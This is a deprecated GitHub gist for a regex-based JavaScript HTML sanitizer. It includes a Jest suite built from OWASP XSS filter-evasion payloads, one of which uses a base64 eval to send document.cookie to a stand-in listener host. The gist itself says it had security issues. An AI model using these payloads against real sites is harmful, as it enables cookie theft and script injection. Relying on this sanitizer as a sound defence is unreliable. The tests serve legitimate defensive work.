The gist version has been deprecated. Moved to https://github.com/graficos-net/html-cleanser and fixed some security issues! Please see instalation section for updates!
Last active
July 16, 2020 15:34
-
-
Save gangsthub/43be7fbcc252709bcd7148ec9da8578a to your computer and use it in GitHub Desktop.
Remove unwanted HTML tags from an HTML string (for security reasons)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const disallowedTags = [ | |
'script', | |
'img', | |
'a', | |
'object', | |
'iframe', | |
'embed', | |
'input', | |
'textarea', | |
'button', | |
'link', | |
'style', | |
'base' | |
] | |
const comments = /<!--[\s\S]*?-->/gi | |
const xssLocator = /javascript:\/\*-->/gi | |
const ecmaSet = /Set\.constructor`/gi | |
const xml = /<\?xml/gi | |
const cssUrlProperty = /url\s?\(.*?\)/gi | |
const documentWrite = /document\.write/gi | |
const datasrcAttribute = /(datasrc="?(.*?)"?)>/gi | |
const useAttribute = /(use="?(.*?)"?)>/gi | |
const srcAttribute = /(src="?(.*?)"?)>/gi | |
const tags = /<\/?([a-z0-9]*)\b[^>]*>?/gi | |
const removeRules = new RegExp( | |
`(${[comments, xssLocator, ecmaSet, xml, cssUrlProperty, documentWrite] | |
.map(({ source }) => source) | |
.join('|')})`, | |
'gi' | |
) | |
// Edited from https://github.com/MyBibHQ/mybib-ui/blob/0d11a5af7f620fc3a663a79b4b57f9c59c6157e3/src/components/RichTextarea.vue#L32-L55 | |
/** | |
* @param {string} input - text to sanitize | |
* @param {string} [allowed] - tags to allow | |
*/ | |
export const cleanHTML = (input, allowed = '<i><em><span><p>') => { | |
if (!input) return '' | |
const hasUnsafeTag = disallowedTags.some(tag => allowed.includes(`<${tag}>`)) | |
if (hasUnsafeTag) throw new Error('Disallowed tags: ' + allowed) | |
// making sure the allowed arg is a string containing only tags in lowercase (<a><b><c>) | |
allowed = ((allowed + '').toLowerCase().match(/<[a-z]+>/g) || []).join('') | |
let output = input | |
// removes the '<' char at the end of the string to replicate PHP's behaviour | |
output = output.replace(/<$/, '') | |
// recursively remove tags to ensure that the returned string | |
// doesn't contain forbidden tags after previous passes (e.g. '<<bait/>switch/>') | |
while (true) { | |
const current = output | |
output = current | |
.replace(removeRules, '') | |
.replace(datasrcAttribute, ($0, $1) => { | |
return $0.replace($1, '') // return match keeping the '>' delimiter | |
}) | |
.replace(srcAttribute, ($0, $1) => { | |
return $0.replace($1, '') // return match keeping the '>' delimiter | |
}) | |
.replace(useAttribute, ($0, $1) => { | |
return $0.replace($1, '') // return match keeping the '>' delimiter | |
}) | |
.replace(tags, (fullTag, tagName) => { | |
return allowed.includes(`<${tagName.toLowerCase()}>`) ? fullTag : '' | |
}) | |
// return once no more tags are removed | |
if (current === output) { | |
return output | |
} | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?t(exports):"function"==typeof define&&define.amd?define(["exports"],t):t((e=e||self)["html-cleanser"]={})}(this,(function(e){"use strict";const t=["script","img","a","object","iframe","embed","input","textarea","button","link","style","base"],r=/(datasrc="?(.*?)"?)>/gi,i=/(use="?(.*?)"?)>/gi,o=/(src="?(.*?)"?)>/gi,a=/<\/?([a-z0-9]*)\b[^>]*>?/gi,c=new RegExp(`(${[/<!--[\s\S]*?-->/gi,/javascript:\/\*-->/gi,/Set\.constructor`/gi,/<\?xml/gi,/url\s?\(.*?\)/gi,/document\.write/gi].map(({source:e})=>e).join("|")})`,"gi");e.cleanHTML=(e,n="<i><em><span><p>")=>{if(!e)return"";if(t.some(e=>n.includes(`<${e}>`)))throw new Error("Disallowed tags: "+n);n=((n+"").toLowerCase().match(/<[a-z]+>/g)||[]).join("");let s=e;for(s=s.replace(/<$/,"");;){const e=s;if(s=e.replace(c,"").replace(r,(e,t)=>e.replace(t,"")).replace(o,(e,t)=>e.replace(t,"")).replace(i,(e,t)=>e.replace(t,"")).replace(a,(e,t)=>n.includes(`<${t.toLowerCase()}>`)?e:""),e===s)return s}},Object.defineProperty(e,"__esModule",{value:!0})})); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/// <reference types="jest" /> | |
import { cleanHTML } from './html-cleanser' | |
describe('cleanHTML', () => { | |
it('returns empty string if no input is provided', () => { | |
const actual = [cleanHTML(undefined), cleanHTML('')] | |
expect(actual).toEqual(['', '']) | |
}) | |
it('returns allowed default tags', () => { | |
const actual = cleanHTML('<i>asdf</i><em>asdf</em>') | |
expect(actual).toBe('<i>asdf</i><em>asdf</em>') | |
}) | |
it('returns allowed passed tags', () => { | |
const actual = cleanHTML('<i>asdf</i><p>asdf</p>', '<i><p>') | |
expect(actual).toBe('<i>asdf</i><p>asdf</p>') | |
}) | |
it('throws error on invalid tags', () => { | |
expect(() => cleanHTML('<i>asdf</i><p>asdf</p>', '<script>')).toThrow() | |
}) | |
it('no HTML allowed', () => { | |
const actual = cleanHTML('<i>asdf</i><p>asdf</p>', '') | |
expect(actual).toBe('asdfasdf') | |
}) | |
// Many of the OWASP tests ahead: | |
// https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet | |
it('Basic XSS Test Without Filter Evasion', () => { | |
const actual = cleanHTML('<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>') | |
expect(actual).toBe('') | |
}) | |
it('XSS Locator (Polygot)', () => { | |
const actual = cleanHTML( | |
"javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/\"/+/onmouseover=1/+/[*/[]/+alert(1)//'>" | |
) | |
expect(actual).toBe('') | |
}) | |
it('Image XSS using the JavaScript directive', () => { | |
const actual = cleanHTML('<IMG SRC="javascript:alert(\'XSS\');">') | |
expect(actual).toBe('') | |
}) | |
it('No quotes and no semicolon', () => { | |
const actual = cleanHTML("<IMG SRC=javascript:alert('XSS')>") | |
expect(actual).toBe('') | |
}) | |
it('Case insensitive XSS attack vector', () => { | |
const actual = cleanHTML("<IMG SRC=JaVaScRiPt:alert('XSS')>") | |
expect(actual).toBe('') | |
}) | |
it('HTML entities', () => { | |
const actual = cleanHTML( | |
'<IMG SRC=javascript:alert(&quot;XSS&quot;)>' | |
) | |
expect(actual).toBe('') | |
}) | |
it('Grave accent obfuscation', () => { | |
const actual = cleanHTML( | |
'<IMG SRC=`javascript:alert("RSnake says, \'XSS\'")`>' | |
) | |
expect(actual).toBe('') | |
}) | |
it('Malformed A tags', () => { | |
const actual = cleanHTML( | |
'<a onmouseover="alert(document.cookie)">xxs link</a>' | |
) | |
expect(actual).toBe('xxs link') | |
}) | |
it('Malformed IMG tags', () => { | |
const actual = cleanHTML('<IMG """><SCRIPT>alert("XSS")</SCRIPT>">') | |
expect(actual).toBe('alert("XSS")">') | |
}) | |
it('fromCharCode', () => { | |
const actual = cleanHTML( | |
'<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>' | |
) | |
expect(actual).toBe('') | |
}) | |
it('Default SRC tag to get past filters that check SRC domain', () => { | |
const actual = cleanHTML('<IMG SRC=# onmouseover="alert(\'xxs\')">') | |
expect(actual).toBe('') | |
}) | |
it('Default SRC tag by leaving it empty', () => { | |
const actual = cleanHTML('<IMG SRC= onmouseover="alert(\'xxs\')">') | |
expect(actual).toBe('') | |
}) | |
it('Default SRC tag by leaving it out entirely', () => { | |
const actual = cleanHTML('<IMG onmouseover="alert(\'xxs\')">') | |
expect(actual).toBe('') | |
}) | |
it('On error alert', () => { | |
const actual = cleanHTML( | |
'<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>' | |
) | |
expect(actual).toBe('') | |
}) | |
it('IMG onerror and javascript alert encode', () => { | |
const actual = cleanHTML( | |
'<img src=x onerror="javascript:alert('XSS')">' | |
) | |
expect(actual).toBe('') | |
}) | |
it('Decimal HTML character references', () => { | |
const actual = cleanHTML( | |
'<IMG SRC=javascript:alert('XSS')>' | |
) | |
expect(actual).toBe('') | |
}) | |
it('Decimal HTML character references without trailing semicolons', () => { | |
const actual = cleanHTML( | |
'<IMG SRC=javascript:alert('XSS')>' | |
) | |
expect(actual).toBe('') | |
}) | |
it('Hexadecimal HTML character references without trailing semicolons', () => { | |
const actual = cleanHTML( | |
'<IMG SRC=javascript:alert('XSS')>' | |
) | |
expect(actual).toBe('') | |
}) | |
it('Embedded tab', () => { | |
const actual = cleanHTML('<IMG SRC="jav ascript:alert(\'XSS\');">') | |
expect(actual).toBe('') | |
}) | |
it('Embedded Encoded tab', () => { | |
const actual = cleanHTML('<IMG SRC="jav	ascript:alert(\'XSS\');">') | |
expect(actual).toBe('') | |
}) | |
it('Embedded newline to break up XSS', () => { | |
const actual = cleanHTML('<IMG SRC="jav
ascript:alert(\'XSS\');">') | |
expect(actual).toBe('') | |
}) | |
it('Embedded carriage return to break up XSS', () => { | |
const actual = cleanHTML('<IMG SRC="jav
ascript:alert();">') | |
expect(actual).toBe('') | |
}) | |
it('Spaces and meta chars before the JavaScript in images for XSS', () => { | |
const actual = cleanHTML('<IMG SRC="  javascript:alert(\'XSS\');">') | |
expect(actual).toBe('') | |
}) | |
it('Non-alpha-non-digit XSS', () => { | |
const actual = cleanHTML( | |
'<SCRIPT/XSS SRC="http://xss.rocks/xss.js"></SCRIPT>' | |
) | |
expect(actual).toBe('') | |
const rnakeFuzzer = cleanHTML( | |
'<BODY onload!#$%&()*~+-_.,:;?@[/|]^`=alert("XSS")>' | |
) | |
expect(rnakeFuzzer).toBe('') | |
}) | |
it('Extraneous open brackets', () => { | |
const actual = cleanHTML('<<SCRIPT>alert("XSS");//<</SCRIPT>') | |
expect(actual).toBe('') | |
}) | |
it('No closing script tags', () => { | |
const actual = cleanHTML('<SCRIPT SRC=//xss.rocks/.j>') | |
expect(actual).toBe('') | |
}) | |
it('Protocol resolution in script tags', () => { | |
const actual = cleanHTML('<SCRIPT SRC=http://xss.rocks/xss.js?< B >') | |
expect(actual).toBe('') | |
}) | |
it('Half open HTML/JavaScript XSS vector', () => { | |
const actual = cleanHTML('<IMG SRC="javascript:alert(\'XSS\')"') | |
expect(actual).toBe('') | |
}) | |
it('Double open angle brackets', () => { | |
const actual = cleanHTML('<iframe src=http://xss.rocks/scriptlet.html <') | |
expect(actual).toBe('') | |
}) | |
it('Escaping JavaScript escapes', () => { | |
const actual = cleanHTML("\";alert('XSS');//") | |
expect(actual).toBe("\";alert('XSS');//") | |
}) | |
it('End title tag', () => { | |
const actual = cleanHTML('</TITLE><SCRIPT>alert("XSS");</SCRIPT>') | |
expect(actual).toBe('alert("XSS");') | |
}) | |
it('INPUT image', () => { | |
const actual = cleanHTML( | |
'<INPUT TYPE="IMAGE" SRC="javascript:alert(\'XSS\');">' | |
) | |
expect(actual).toBe('') | |
}) | |
it('BODY image', () => { | |
const actual = cleanHTML('<BODY BACKGROUND="javascript:alert(\'XSS\')">') | |
expect(actual).toBe('') | |
}) | |
it('IMG Dynsrc', () => { | |
const actual = cleanHTML('<IMG DYNSRC="javascript:alert(\'XSS\')">') | |
expect(actual).toBe('') | |
}) | |
it('IMG lowsrc', () => { | |
const actual = cleanHTML('<IMG LOWSRC="javascript:alert(\'XSS\')">') | |
expect(actual).toBe('') | |
}) | |
it('List-style-image', () => { | |
const actual = cleanHTML( | |
'<STYLE>li {list-style-image: url("javascript:alert(\'XSS\')");}</STYLE><UL><LI>XSS</br>' | |
) | |
expect(actual).toBe('li {list-style-image: ");}XSS') | |
}) | |
it('VBscript in an image', () => { | |
const actual = cleanHTML('<IMG SRC=\'vbscript:msgbox("XSS")\'>') | |
expect(actual).toBe('') | |
}) | |
it('SVG object tag', () => { | |
const actual = cleanHTML(`<svg/onload=alert('XSS')>`) | |
expect(actual).toBe('') | |
}) | |
it('ECMAScript 6', () => { | |
const actual = cleanHTML('Set.constructor`alert\x28document.domain\x29```') | |
expect(actual).toBe('alert\x28document.domain\x29```') | |
}) | |
it('BODY tag', () => { | |
const actual = cleanHTML(`<BODY ONLOAD=alert('XSS')>`) | |
expect(actual).toBe('') | |
}) | |
it('BGSOUND', () => { | |
const actual = cleanHTML(`<BGSOUND SRC="javascript:alert('XSS');">`) | |
expect(actual).toBe('') | |
}) | |
it('& JavaScript includes', () => { | |
const actual = cleanHTML(`<BR SIZE="&{alert('XSS')}">`) | |
expect(actual).toBe('') | |
}) | |
it('STYLE sheet', () => { | |
const actual = cleanHTML( | |
`<LINK REL="stylesheet" HREF="javascript:alert('XSS');">` | |
) | |
expect(actual).toBe('') | |
}) | |
it('Remote style sheet', () => { | |
const actual = cleanHTML( | |
'<LINK REL="stylesheet" HREF="http://xss.rocks/xss.css">' | |
) | |
expect(actual).toBe('') | |
}) | |
it('Remote style sheet part 2', () => { | |
const actual = cleanHTML( | |
"<STYLE>@import'http://xss.rocks/xss.css';</STYLE>" | |
) | |
expect(actual).toBe(`@import'http://xss.rocks/xss.css';`) | |
}) | |
it('Remote style sheet part 3', () => { | |
const actual = cleanHTML( | |
'<META HTTP-EQUIV="Link" Content="<http://xss.rocks/xss.css>; REL=stylesheet">' | |
) | |
expect(actual).toBe(`; REL=stylesheet">`) | |
}) | |
it('Remote style sheet part 4', () => { | |
const actual = cleanHTML( | |
'<STYLE>BODY{-moz-binding:url("http://xss.rocks/xssmoz.xml#xss")}</STYLE>' | |
) | |
expect(actual).toBe('BODY{-moz-binding:}') | |
}) | |
it('STYLE tags with broken up JavaScript for XSS', () => { | |
const actual = cleanHTML( | |
'<STYLE>@im\\port\'\\ja\\vasc\\ript:alert("XSS")\';</STYLE>' | |
) | |
expect(actual).toBe('@im\\port\'\\ja\\vasc\\ript:alert("XSS")\';') | |
}) | |
it('STYLE attribute using a comment to break up expression', () => { | |
const actual = cleanHTML( | |
'<IMG STYLE="xss:expr/*XSS*/ession(alert(\'XSS\'))">' | |
) | |
expect(actual).toBe('') | |
}) | |
it('STYLE tag using background-image', () => { | |
const actual = cleanHTML( | |
'<STYLE>.XSS{background-image:url("javascript:alert(\'XSS\')");}</STYLE><A CLASS=XSS></A>' | |
) | |
expect(actual).toBe('.XSS{background-image:");}') | |
}) | |
it('STYLE tag using background', () => { | |
const actual = cleanHTML( | |
'<STYLE type="text/css">BODY{background:url("javascript:alert\'XSS\'")}</STYLE>' | |
) | |
expect(actual).toBe('BODY{background:}') | |
}) | |
it('Anonymous HTML with STYLE attribute', () => { | |
const actual = cleanHTML('<XSS STYLE="xss:expression(alert(\'XSS\'))">') | |
expect(actual).toBe('') | |
}) | |
it('Local htc file', () => { | |
const actual = cleanHTML('<XSS STYLE="behavior: url(xss.htc);">') | |
expect(actual).toBe('') | |
}) | |
it('US-ASCII encoding', () => { | |
const actual = cleanHTML('¼script¾alert(¢XSS¢)¼/script¾') | |
expect(actual).toBe('¼script¾alert(¢XSS¢)¼/script¾') | |
}) | |
it('META', () => { | |
const actual = [ | |
cleanHTML( | |
'<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(\'XSS\');">' | |
), | |
cleanHTML( | |
'<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">' | |
), | |
cleanHTML( | |
'<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert(\'XSS\');">' | |
) | |
] | |
expect(actual).toEqual(Array(actual.length).fill('')) | |
}) | |
it('IFRAME', () => { | |
const actual = cleanHTML( | |
'<IFRAME SRC="javascript:alert(\'XSS\');"></IFRAME>' | |
) | |
expect(actual).toBe('') | |
}) | |
it('IFRAME Event based', () => { | |
const actual = cleanHTML( | |
'<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>' | |
) | |
expect(actual).toBe('') | |
}) | |
it('FRAME', () => { | |
const actual = cleanHTML( | |
'<FRAMESET><FRAME SRC="javascript:alert(\'XSS\');"></FRAMESET>' | |
) | |
expect(actual).toBe('') | |
}) | |
it('TABLE', () => { | |
const actual = [ | |
cleanHTML('<TABLE BACKGROUND="javascript:alert(\'XSS\')">'), | |
cleanHTML('<TABLE><TD BACKGROUND="javascript:alert(\'XSS\')">') | |
] | |
expect(actual).toEqual(Array(actual.length).fill('')) | |
}) | |
it('DIV', () => { | |
const actual = [ | |
cleanHTML( | |
'<DIV STYLE="background-image: url(javascript:alert(\'XSS\'))">' | |
), | |
cleanHTML( | |
'<DIV STYLE="background-image: url(javascript:alert(\'XSS\'))">' | |
) | |
] | |
expect(actual).toEqual(Array(actual.length).fill('')) | |
}) | |
it('Downlevel-Hidden block', () => { | |
const actual = cleanHTML( | |
`<!--[if gte IE 4]><SCRIPT>alert('XSS');</SCRIPT><![endif]-->` | |
) | |
expect(actual).toBe('') | |
}) | |
it('BASE tag', () => { | |
const actual = cleanHTML('<BASE HREF="javascript:alert(\'XSS\');//">') | |
expect(actual).toBe('') | |
}) | |
it('OBJECT tag', () => { | |
const actual = cleanHTML( | |
'<OBJECT TYPE="text/x-scriptlet" DATA="http://xss.rocks/scriptlet.html"></OBJECT>' | |
) | |
expect(actual).toBe('') | |
}) | |
it('Using an EMBED tag you can embed a Flash movie that contains XSS', () => { | |
const actual = cleanHTML( | |
'<EMBED SRC="http://ha.ckers.Using an EMBED tag you can embed a Flash movie that contains XSS. Click here for a demo. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info).:org/xss.swf" AllowScriptAccess="always"></EMBED>' | |
) | |
expect(actual).toBe('') | |
}) | |
it('You can EMBED SVG which can contain your XSS vector', () => { | |
const actual = cleanHTML( | |
'<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>' | |
) | |
expect(actual).toBe('') | |
}) | |
it('XML data island with CDATA obfuscation', () => { | |
const actual = cleanHTML( | |
'<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert(\'XSS\')"></B></I></XML><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>' | |
) | |
expect(actual).toBe('<I></I><SPAN ></SPAN>') | |
}) | |
it('Locally hosted XML with embedded JavaScript that is generated using an XML data island', () => { | |
const actual = cleanHTML( | |
'<XML SRC="xsstest.xml" ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>' | |
) | |
expect(actual).toBe('<SPAN ></SPAN>') | |
}) | |
it('HTML+TIME in XML', () => { | |
const actual = cleanHTML( | |
'<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>"></BODY></HTML>' | |
) | |
expect(actual).toBe( | |
':namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2">alert("XSS")">' | |
) | |
}) | |
it('Assuming you can only fit in a few characters and it filters against ".js"', () => { | |
const actual = cleanHTML('<SCRIPT SRC="http://xss.rocks/xss.jpg"></SCRIPT>') | |
expect(actual).toBe('') | |
}) | |
it('SSI (Server Side Includes)', () => { | |
const actual = cleanHTML( | |
'<!--#exec cmd="/bin/echo \'<SCR\'"--><!--#exec cmd="/bin/echo \'IPT SRC=http://xss.rocks/xss.js></SCRIPT>\'"-->' | |
) | |
expect(actual).toBe('') | |
}) | |
it('IMG Embedded commands', () => { | |
const actual = cleanHTML( | |
'<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">' | |
) | |
expect(actual).toBe('') | |
}) | |
it('Cookie manipulation', () => { | |
const actual = cleanHTML( | |
`<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">` | |
) | |
expect(actual).toBe(`alert('XSS')">`) | |
}) | |
it('UTF-7 encoding', () => { | |
const actual = cleanHTML( | |
'<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"></HEAD>+ADw-SCRIPT+AD4-alert(\'XSS\');+ADw-/SCRIPT+AD4-' | |
) | |
expect(actual).toBe(`+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-`) | |
}) | |
it('XSS using HTML quote encapsulation', () => { | |
const actual = [ | |
'<SCRIPT a=">" SRC="http://xss.rocks/xss.js"></SCRIPT>', | |
'<SCRIPT =">" SRC="http://xss.rocks/xss.js"></SCRIPT>', | |
'<SCRIPT a=">" \'\' SRC="http://xss.rocks/xss.js"></SCRIPT>', | |
'<SCRIPT "a=\'>\'" SRC="http://xss.rocks/xss.js"></SCRIPT>', | |
'<SCRIPT a=`>` SRC="http://xss.rocks/xss.js"></SCRIPT>', | |
`<SCRIPT a=">'>" SRC="http://xss.rocks/xss.js"></SCRIPT>`, | |
`<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://xss.rocks/xss.js"></SCRIPT>` | |
].map(i => cleanHTML(i)) | |
expect(actual).toEqual([ | |
'" >', | |
'" >', | |
"\" '' >", | |
'\'" >', | |
'` >', | |
'\'>" >', | |
'("PT >' | |
]) | |
}) | |
it('URL string evasion', () => { | |
const actual = [ | |
'<A HREF="http://66.102.7.147/">XSS</A>', | |
'<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>', | |
'<A HREF="http://1113982867/">XSS</A>', | |
'<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>', | |
'<A HREF="http://0102.0146.0007.00000223/">XSS</A>', | |
`<img onload="eval(atob('ZG9jdW1lbnQubG9jYXRpb249Imh0dHA6Ly9saXN0ZXJuSVAvIitkb2N1bWVudC5jb29raWU='))">`, | |
`<A HREF="h\ntt p://6 6.000146.0x7.147/">XSS</A>`, | |
'<A HREF="//www.google.com/">XSS</A>', | |
'<A HREF="//google">XSS</A>', | |
'<A HREF="http://ha.ckers.org@google">XSS</A>', | |
'<A HREF="http://google:ha.ckers.org">XSS</A>', | |
'<A HREF="http://google.com/">XSS</A>', | |
'<A HREF="http://www.google.com./">XSS</A>', | |
`<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>`, | |
'<A HREF="http://www.google.com/ogle.com/">XSS</A>' | |
].map(i => cleanHTML(i)) | |
expect(actual).toEqual([ | |
'XSS', | |
'XSS', | |
'XSS', | |
'XSS', | |
'XSS', | |
'', | |
'XSS', | |
'XSS', | |
'XSS', | |
'XSS', | |
'XSS', | |
'XSS', | |
'XSS', | |
'XSS', | |
'XSS' | |
]) | |
}) | |
}) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
module.exports = { | |
transform: { | |
'\\.js$': 'babel-jest' | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"name": "html-cleanser", | |
"module": "html-cleanser.esm.js", | |
"main": "html-cleanser.min.js", | |
"version": "0.1.1", | |
"author": "Paul Melero", | |
"license": "MIT", | |
"scripts": { | |
"build": "rollup -c", | |
"test": "jest --ci --colors", | |
"postinstall": "echo 'deprecated!! use npm i @graficos/html-cleanser instead!!'" | |
}, | |
"devDependencies": { | |
"@babel/core": "^7.8.7", | |
"@babel/preset-env": "^7.8.7", | |
"jest": "^24.1.0" | |
}, | |
"dependencies": { | |
"babel-jest": "^25.1.0", | |
"rimraf": "^3.0.2", | |
"rollup": "^2.0.0", | |
"rollup-plugin-babel": "^4.3.3", | |
"rollup-plugin-terser": "^5.2.0" | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// https://github.com/jaebradley/example-rollup-library/blob/master/rollup.config.js | |
// https://github.com/rollup/rollup-starter-lib/blob/master/rollup.config.js | |
import babel from 'rollup-plugin-babel' | |
import { terser } from 'rollup-plugin-terser' | |
import pkg from './package.json' | |
const NAME = pkg.name | |
const INPUT_FILE = 'html-cleanser' | |
const terserOptions = { | |
sourcemap: true, | |
compress: true, | |
mangle: true | |
} | |
const plugins = [babel({ exclude: 'node_modules/**' })] | |
const createConfig = ({ input, minify, format, ext = 'js' }) => { | |
const minifierSuffix = minify ? '.min' : '' | |
const formatSuffix = '.' + format | |
return { | |
input: `${input}.js`, | |
output: { | |
name: NAME, | |
file: `dist/${input}${formatSuffix}${minifierSuffix}.${ext}`, | |
format, | |
sourcemap: true | |
}, | |
plugins: [...plugins, ...(minify ? [terser(terserOptions)] : [])] | |
} | |
} | |
require('rimraf').sync('dist') | |
export default [ | |
{ input: INPUT_FILE, format: 'esm', minify: false, ext: 'mjs' }, | |
{ input: INPUT_FILE, format: 'esm', minify: true, ext: 'mjs' }, | |
{ input: INPUT_FILE, format: 'esm', minify: false }, | |
{ input: INPUT_FILE, format: 'esm', minify: true }, | |
{ input: INPUT_FILE, format: 'umd', minify: false }, | |
{ input: INPUT_FILE, format: 'umd', minify: true } | |
].map(createConfig) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
deprecated!! use npm i @graficos/html-cleanser instead!